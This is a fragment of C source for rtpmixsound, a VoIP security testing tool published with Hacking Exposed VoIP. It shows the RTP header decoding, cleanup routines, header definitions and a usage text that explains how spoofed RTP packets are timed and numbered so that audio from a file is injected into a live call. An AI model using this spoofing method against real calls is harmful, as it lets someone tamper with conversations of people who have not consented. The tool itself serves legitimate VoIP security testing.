2280
2281 //
2282 // Print some of the UDP header content
2283 //
2284
2285 udp_hdr = ( struct libnet_udp_hdr * )
2286 ( packet + LIBNET_ETH_H + LIBNET_IPV4_H );
2287
2288 printf ( "source port: %u\n",
2289 ntohs ( udp_hdr->uh_sport ) );
2290
2291 printf ( "destination port: %u\n\n",
2292 ntohs ( udp_hdr->uh_dport ) );
2293
2294 printf ( "UDP packet length: %u\n\n",
2295 ntohs ( udp_hdr->uh_ulen ) );
2296
2297 rtp_hdr = ( struct rfc1889_rtp_hdr * )
2298 ( packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H );
2299
2300 printf ( "RTP message length: %u\n",
2301 ntohs ( udp_hdr->uh_ulen ) - LIBNET_UDP_H );
2302
2303 printf ( "Size of RTP Header: %u\n", sizeof( struct rfc1889_rtp_hdr ) );
2304
2305 //
2306 // Print RTP header content
2307 //
2308
2309 /*
2310 printf ( "RTP Header Dump:\n");
2311
2312 const u_char *rtp_hdr_bytes;
2313
2314 rtp_hdr_bytes = packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H;
2315
2316 printf ( "%02x %02x %02x %02x\n"
2317 "%02x %02x %02x %02x\n"
2318 "%02x %02x %02x %02x\n",
2319 rtp_hdr_bytes[0],
2320 rtp_hdr_bytes[1],
2321 rtp_hdr_bytes[2],
2322 rtp_hdr_bytes[3],
2323 rtp_hdr_bytes[4],
2324 rtp_hdr_bytes[5],
2325 rtp_hdr_bytes[6],
2326 rtp_hdr_bytes[7],
2327 rtp_hdr_bytes[8],
2328 rtp_hdr_bytes[9],
2329 rtp_hdr_bytes[10],
2330 rtp_hdr_bytes[11] );
2331 */
2332
2333 printf ( "RTP Version: %u\n", rtp_hdr->version );
2334
2335 printf ( "RTP Packet Padded?: %s\n",
2336 ( rtp_hdr->bPaddingIncluded == 0 )? "no":"yes" );
2337
2338 printf ( "RTP Packet Fixed Hdr Followed by Extension Hdr?: %s\n",
2339 ( rtp_hdr->bExtensionIncluded == 0 )? "no":"yes" );
2340
2341 printf ( "RTP Packet CSRC Count: %u\n", rtp_hdr->cc );
2342
2343 printf ( "RTP Packet Marked?: %s\n",
2344 ( rtp_hdr->bMarker == 0 )? "no":"yes" );
2345
2346 printf ( "RTP Packet Payload Type: %u\n", rtp_hdr->payloadType );
2347
2348 printf ( "RTP Packet Sequence #: %u\n",
2349 ntohs ( rtp_hdr->sequenceNumber ) );
2350
2351 printf ( "RTP Packet Timestamp: %u\n",
2352 ntohl ( rtp_hdr->timestamp ) );
2353
2354 printf ( "RTP Packet SSRC: %u\n",
2355 ntohl ( rtp_hdr->ssrc ) );
2356
2357 printf ( "\n-----------------\n\n");
2358
2359
2360 } // end decodeAndPrintRTPMsg
2361
2362
2363 //-----------------------------------------------------------------------------
2364 //
2365 // catch_signals ( int signo )
2366 //
2367 // signal catcher and handler
2368 //
2369 //-----------------------------------------------------------------------------
2370
2371 void catch_signals ( int signo ) {
2372 switch ( signo ) {
2373 case SIGINT:
2374 case SIGTERM: {
2375 printf ( "\nexiting...\n" );
2376 CleanupAndExit ( EXIT_SUCCESS );
2377 }
2378 }
2379 } // end catch_signals
2380
2381 //-----------------------------------------------------------------------------
2382 //
2383 // CleanupAndExit ( int status )
2384 //
2385 // Clean up and exit.
2386 //
2387 //-----------------------------------------------------------------------------
2388
2389 void CleanupAndExit ( int status ) {
2390
2391 if ( h_pcap_live_rtp ) {
2392 if ( bVerbose ) {
2393 printf ( "\nclosing live pcap interface\n" );
2394 }
2395 pcap_close ( h_pcap_live_rtp );
2396 h_pcap_live_rtp = NULL;
2397 }
2398
2399 if ( l ) {
2400 if ( bVerbose ) {
2401 printf ( "\ndestroying libnet handle\n" );
2402 }
2403 libnet_destroy ( l );
2404 l = NULL;
2405 }
2406
2407 if ( sockfd > 0 ) {
2408 if ( bVerbose ) {
2409 printf ( "\nclosing socket used to obtain device MAC addr\n" );
2410 }
2411 close( sockfd );
2412 sockfd = 0;
2413 }
2414
2415 printf ( "\n" );
2416
2417 exit ( status );
2418 } // End CleanupAndExit
2419
2420 //-------------------------------------------------------------------------------
2421 //
2422 // usage ( int status )
2423 //
2424 // Display command line usage.
2425 //
2426 //-------------------------------------------------------------------------------
2427
2428 void usage ( int status ) {
2429 printf ( "\n%s", __RTPMIXSOUND_VERSION );
2430 printf ( "\n%s", __RTPMIXSOUND_DATE );
2431 printf ( "\n Usage:" );
2432 printf ( "\n Mandatory -" );
2433 printf ( "\n\tpathname of file whose audio is to be mixed into the" );
2434 printf ( "\n\t targeted live audio stream. If the file extension is" );
2435 printf ( "\n\t .wav, then the file must be a standard Microsoft" );
2436 printf ( "\n\t RIFF formatted WAVE file meeting these constraints:" );
2437 printf ( "\n\t 1) header 'chunks' must be in one of two sequences:" );
2438 printf ( "\n\t RIFF, fmt, fact, data" );
2439 printf ( "\n\t or" );
2440 printf ( "\n\t RIFF, fmt, data" );
2441 printf ( "\n\t 2) Compression Code = 1 (PCM/Uncompressed)" );
2442 printf ( "\n\t 3) Number of Channels = 1 (mono)" );
2443 printf ( "\n\t 4) Sample Rate (Hz) = 8000" );
2444 printf ( "\n\t 5) Significant Bits/Sample =" );
2445 printf ( "\n\t signed, linear 16-bit or" );
2446 printf ( "\n\t unsigned, linear 8-bit" );
2447 printf ( "\n\t If the file name does not specify a .wav extension," );
2448 printf ( "\n\t then the file is presumed to be a tcpdump formatted" );
2449 printf ( "\n\t file with a sequence of, exclusively, G.711 u-law" );
2450 printf ( "\n\t RTP/UDP/IP/ETHERNET messages" );
2451 printf ( "\n\t Note: Yep, the format is referred to as 'tcpdump'" );
2452 printf ( "\n\t even though this file must contain udp messages" );
2453 printf ( "\n Optional -" );
2454 printf ( "\n\t-a source RTP IPv4 addr" );
2455 printf ( "\n\t-A source RTP port" );
2456 printf ( "\n\t-b destination RTP IPv4 addr" );
2457 printf ( "\n\t-B destination RTP port" );
2458 printf ( "\n\t-f spoof factor - amount by which to:" );
2459 printf ( "\n\t a) increment the RTP hdr sequence number obtained" );
2460 printf ( "\n\t from the ith legitimate packet to produce the" );
2461 printf ( "\n\t RTP hdr sequence number for the ith spoofed packet" );
2462 printf ( "\n\t b) multiply the RTP payload length and add that" );
2463 printf ( "\n\t product to the RTP hdr timestamp obtained from" );
2464 printf ( "\n\t the ith legitimate packet to produce the RTP hdr" );
2465 printf ( "\n\t timestamp for the ith spoofed packet" );
2466 printf ( "\n\t c) increment the IP hdr ID number obtained from the" );
2467 printf ( "\n\t ith legitimate packet to produce the IP hdr ID" );
2468 printf ( "\n\t number for the ith spoofed packet" );
2469 printf ( "\n\t [ range: +/- 1000, default: 2 ]" );
2470 printf ( "\n\t-i interface (e.g. eth0)" );
2471 printf ( "\n\t-j jitter factor - the reception of a legitimate RTP" );
2472 printf ( "\n\t packet in the target audio stream enables the output" );
2473 printf ( "\n\t of the next spoofed packet. This factor determines" );
2474 printf ( "\n\t when that spoofed packet is actually transmitted." );
2475 printf ( "\n\t The factor relates how close to the next legitimate" );
2476 printf ( "\n\t packet you'd actually like the enabled spoofed packet" );
2477 printf ( "\n\t to be transmitted. For example, -j 10 means 10%% of" );
2478 printf ( "\n\t the codec's transmission interval. If the transmission");
2479 printf ( "\n\t interval = 20,000 usec (i.e. G.711), then delay the" );
2480 printf ( "\n\t output of the spoofed RTP packet until the time-of-day");
2481 printf ( "\n\t is within 2,000 usec (i.e. 10%%) of the time the next" );
2482 printf ( "\n\t legitimate RTP packet is expected. In other words," );
2483 printf ( "\n\t delay 100%% minus the jitter factor, or 18,000 usec" );
2484 printf ( "\n\t in this example. The smaller the jitter factor, the" );
2485 printf ( "\n\t greater the risk you run of not outputting the" );
2486 printf ( "\n\t spoofed packet before the next legitimate RTP packet" );
2487 printf ( "\n\t is received. Therefore, a factor >= 10 is advised." );
2488 printf ( "\n\t [ range: 0 - 80, default: 80 = output spoof ASAP ]" );
2489 printf ( "\n\t-p seconds to pause between setup and injection" );
2490 printf ( "\n\t-h help - print this usage" );
2491 printf ( "\n\t-v verbose output mode" );
2492 printf ( "\n" );
2493 printf ( "\nNote: If you are running the tool from a host with multiple" );
2494 printf ( "\n ethernet interfaces which are up, be forewarned that" );
2495 printf ( "\n the order those interfaces appear in your route table" );
2496 printf ( "\n and the networks accessible from those interfaces might");
2497 printf ( "\n compel Linux to output spoofed audio packets to an" );
2498 printf ( "\n interface different than the one stipulated by you on" );
2499 printf ( "\n command line. This should not affect the tool unless" );
2500 printf ( "\n those spoofed packets arrive back at the host through" );
2501 printf ( "\n the interface you have specified on the command line" );
2502 printf ( "\n (e.g. the interfaces have connectivity through a hub)." );
2503 printf ( "\n" );
2504
2505 exit ( status );
2506 }
2507
0 //-------------------------------------------------------------------------------
1 //
2 // rtpmixsound.h - Command line tool to mix the
3 // content of a sound (i.e. audio) file into a call.
4 //
5 // Please refer to rtpmixsound.c for an
6 // overview of the functionality of the tool.
7 //
8 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
9 //
10 // This program is free software; you can redistribute it and/or modify
11 // it under the terms of the GNU General Public License as published by
12 // the Free Software Foundation; either version 2 of the License, or
13 // (at your option) any later version.
14 //
15 // This program is distributed in the hope that it will be useful,
16 // but WITHOUT ANY WARRANTY; without even the implied warranty of
17 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 // GNU General Public License for more details.
19 //
20 // You should have received a copy of the GNU General Public License
21 // along with this program; if not, write to the Free Software
22 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
23 //
24 // Authors:
25 // v3.0 : 01/03/2007
26 // Mark D. Collier <[email protected]>, SecureLogix
27 // Mark O'Brien, SecureLogix
28 // Dustin D. Trammell <[email protected]>, TippingPoint
29 // v2.0 : 10/10/2006
30 // v1.0 : 08/14/2006
31 // Mark D. Collier <[email protected]>, SecureLogix
32 // Mark O'Brien, SecureLogix
33 //
34 // SecureLogix: http://www.securelogix.com
35 // TippingPoint: http://www.tippingpoint.com
36 // Hacking Exposed VoIP: http://www.hackingexposedvoip.com
37 //
38 //-------------------------------------------------------------------------------
39
40 #ifndef __RTPMIXSOUND_H
41 #define __RTPMIXSOUND_H
42
43 #include <stdio.h>
44 #include <stdlib.h>
45 #include <string.h>
46 #include <libnet.h>
47 #include <pcap.h>
48 #include <signal.h>
49 #include <stdbool.h>
50 #include <sys/time.h>
51 #include <sys/resource.h>
52 #include <sched.h>
53 #include <sys/socket.h>
54 #include <sys/ioctl.h>
55 #include <netinet/in.h>
56 #include <net/if.h>
57 #include <unistd.h>
58
59 #define __RTPMIXSOUND_VERSION "rtpmixsound - Version 3.0"
60 #define __RTPMIXSOUND_DATE " January 03, 2007"
61
62 #define __RTPMIXSOUND_PROMISCOUS_MODE 1
63
64 #define __RTPMIXSOUND_LIBNET_IP 3
65 #define __RTPMIXSOUND_LIBNET_ETHERNET 2
66
67 #define __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER __RTPMIXSOUND_LIBNET_IP
68
69 #define __RTPMIXSOUND_G711_PAYLOAD_TYPE 0
70
71 #define __RTPMIXSOUND_G711_PAYLOAD_LEN 160
72
73 #define __RTPMIXSOUND_G711_CODEC_RATE_HZ 50
74
75 #define __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC 20000
76
77 #define __RTPMIXSOUND_G711_AUDIO_TO_MIX_SEC 30
78
79 #define __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX __RTPMIXSOUND_G711_CODEC_RATE_HZ * __RTPMIXSOUND_G711_AUDIO_TO_MIX_SEC
80
81 #define __RTPMIXSOUND_PCM_UNCOMPRESSED_COMPRESSION_CODE 1
82
83 char libnet_errbuf[LIBNET_ERRBUF_SIZE];
84
85 int opt;
86 int optind;
87 int deltaTSec;
88 int deltaTUsec;
89 int sockfd = 0;
90 int rc = 0;
91
92 unsigned int jitterDelayUsec = 0;
93 unsigned int jitterProximityUsec = 0;
94
95 bool bVerbose = false;
96
97 const u_char *packet = NULL;
98
99 pcap_t *h_pcap_live_rtp = NULL; // libpcap "handle"
100
101 struct pcap_pkthdr *ppcap_pkthdr = NULL;
102 struct pcap_pkthdr pcap_header;
103
104 struct libnet_ethernet_hdr *eth_hdr = NULL;
105 struct libnet_ipv4_hdr *ip_hdr = NULL;
106 struct libnet_udp_hdr *udp_hdr = NULL;
107
108 struct rfc1889_rtp_hdr {
109
110 // byte 0 - uppermost byte of header
111 // bit fields are defined starting from rightmost bits and
112 // encountering higher order bits as you proceed down the page.
113 // for example: cc occupies the low-order 4 bits of the byte.
114
115 unsigned int cc : 4; // CSRC Count (i.e. # of CSRC hdrs following fixed hdr)
116 unsigned int bExtensionIncluded : 1; // if RTP hdr includes 1 extension hdr
117 unsigned int bPaddingIncluded : 1; // if the RTP payload is padded
118 unsigned int version : 2; // should always equal version 2
119
120 // byte 1
121 // bits are defined from rightmost bits first and leftmost bits as you proceed down the page
122
123 unsigned int payloadType : 7;
124 unsigned int bMarker : 1; // Mark
125
126 // bytes 3 & 2 (i.e. network order)
127
128 unsigned short sequenceNumber; // Should inc by 1.
129
130 // bytes 7, 6, 5, 4 (i.e. network order)
131
132 unsigned int timestamp; // For G.711 should inc by 160.
133
134 // bytes 11, 10, 9, 8 (i.e. network order)
135
136 unsigned int ssrc; // Synchronization Source - fixed for a stream
137 };
138
139 struct rfc1889_rtp_hdr *rtp_hdr = NULL;
140
141 unsigned int offset_to_ip_hdr = LIBNET_ETH_H;
142 unsigned int offset_to_udp_hdr = LIBNET_ETH_H + LIBNET_IPV4_H;
143 unsigned int offset_to_rtp_msg = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H;
144 unsigned int offset_to_rtp_payload =
145 LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H +
146 sizeof ( struct rfc1889_rtp_hdr );
147
148 unsigned int g711_rtp_msg_len = __RTPMIXSOUND_G711_PAYLOAD_LEN +
149 sizeof ( struct rfc1889_rtp_hdr );
150
151 struct bpf_program compiled_pcap_filter;
152
153 libnet_t *l = NULL;
154
155 libnet_ptag_t udp_tag = 0;
156 libnet_ptag_t ip_tag = 0;
157 libnet_ptag_t ether_tag = 0;
158
159 struct timeval time_of_day;
160
161 struct ifreq ifreq;
162 unsigned char deviceMAC[ IFHWADDRLEN ];
163
164 //
165 // 16-bit linear PCM is one signed 16-bit word for every G.711 ulaw byte
166 //
167
168 typedef struct pcm {
169 short pcm_value[ __RTPMIXSOUND_G711_PAYLOAD_LEN ];
170 } pcmG711;
171
172 struct pcm pcmSamplesToMix[ __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX ];
173
174 typedef struct rtp_msg {
175 struct rfc1889_rtp_hdr rtp_hdr;
176 unsigned char rtp_payload[ __RTPMIXSOUND_G711_PAYLOAD_LEN ];
177 } rtpG711Msg;
178
179 bool preloadWavAudio ( char *psInputAudioFile,
180 struct pcm pcmSamplesToMix[],
181 unsigned int *numG711PacketEquivalents );
182
183 bool preloadTCPdumpAudio ( char *psInputAudioFile,
184 struct pcm pcmSamplesToMix[],
185 unsigned int *numG711PacketEquivalents );
186
187 void delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec );
188 void decodeAndPrintRTPMsg( const u_char *packet );
189 void catch_signals ( int signo );
190 void CleanupAndExit ( int status );
191 void usage ( int status );
192
193 #endif // __RTPMIXSOUND_H
Binary diff not shown